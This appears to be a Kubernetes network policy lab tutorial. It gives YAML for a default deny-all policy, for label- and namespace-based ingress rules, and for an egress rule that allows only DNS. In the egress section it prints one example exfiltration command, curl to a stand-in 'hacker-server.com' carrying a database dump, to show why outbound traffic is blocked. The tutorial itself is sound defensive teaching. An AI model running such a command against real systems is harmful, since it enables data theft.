Kubernetes Network Policies Lab

The “Deny-All” Default Policy

(Zero Trust Security)

The #1 Best Practice in DevSecOps is Zero Trust. By default, trust nobody. When you create a new Namespace, the very first thing you should do is drop a “Deny-All” policy into it. This locks every single door.

The Rule: If a Pod has no policy selecting it, it accepts all traffic. If a Pod is selected by a policy, it rejects everything except what the policy explicitly allows.

The Default Deny-All YAML:

This policy selects all pods in a namespace and blocks both incoming and outgoing traffic.

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: prod-env
spec:
  podSelector: {}    # Empty selector means "Select ALL Pods"
  policyTypes:
  - Ingress          # Block all incoming
  - Egress           # Block all outgoing

Once you apply this, your entire prod-env namespace goes dark. Nothing can talk to anything. Now, we selectively open doors.


Allowing Specific Traffic

(Opening the Right Doors)

Let’s say we have a backend Pod. We want to allow traffic to it, but ONLY if the traffic comes from the frontend Pod.

Allowing traffic based on Pod Labels:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-frontend-to-backend
  namespace: prod-env
spec:
  podSelector:
    matchLabels:
      app: backend            # This policy applies TO the backend pods
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: frontend       # ONLY allow traffic FROM the frontend pods
    ports:
    - protocol: TCP
      port: 8080              # ONLY on port 8080

Allowing traffic based on Namespaces:

Sometimes you want to allow a monitoring tool (like Prometheus) located in a different namespace to read metrics from your app.

  ingress:
  - from:
    - namespaceSelector:
        matchLabels:
          team: monitoring    # Allow traffic from any pod in the 'monitoring' namespace

Egress Policies

(Blocking Internet Access)

Most people only secure incoming traffic (Ingress). But Egress (Outbound) security is critical to stop Data Exfiltration.

If a hacker compromises your Database Pod, their next step is to run a command like curl hacker-server.com --data "db_dump". Or, they might try to download a crypto-miner script from the internet.

If your Database Pod does not need the internet, block it!

Example: Allow DNS, but Block the Internet

This policy allows a Pod to query DNS (port 53) so it can find other internal services, but blocks it from talking to any external IP address.

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: db-egress-policy
  namespace: prod-env
spec:
  podSelector:
    matchLabels:
      app: database
  policyTypes:
  - Egress
  egress:
  - to:                      # Allow DNS lookups internally
    - namespaceSelector:
        matchLabels:
          kubernetes.io/metadata.name: kube-system
      podSelector:
        matchLabels:
          k8s-app: kube-dns
    ports:
    - protocol: UDP
      port: 53

If the hacker tries to curl google.com, the connection will simply timeout. You have trapped them!

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top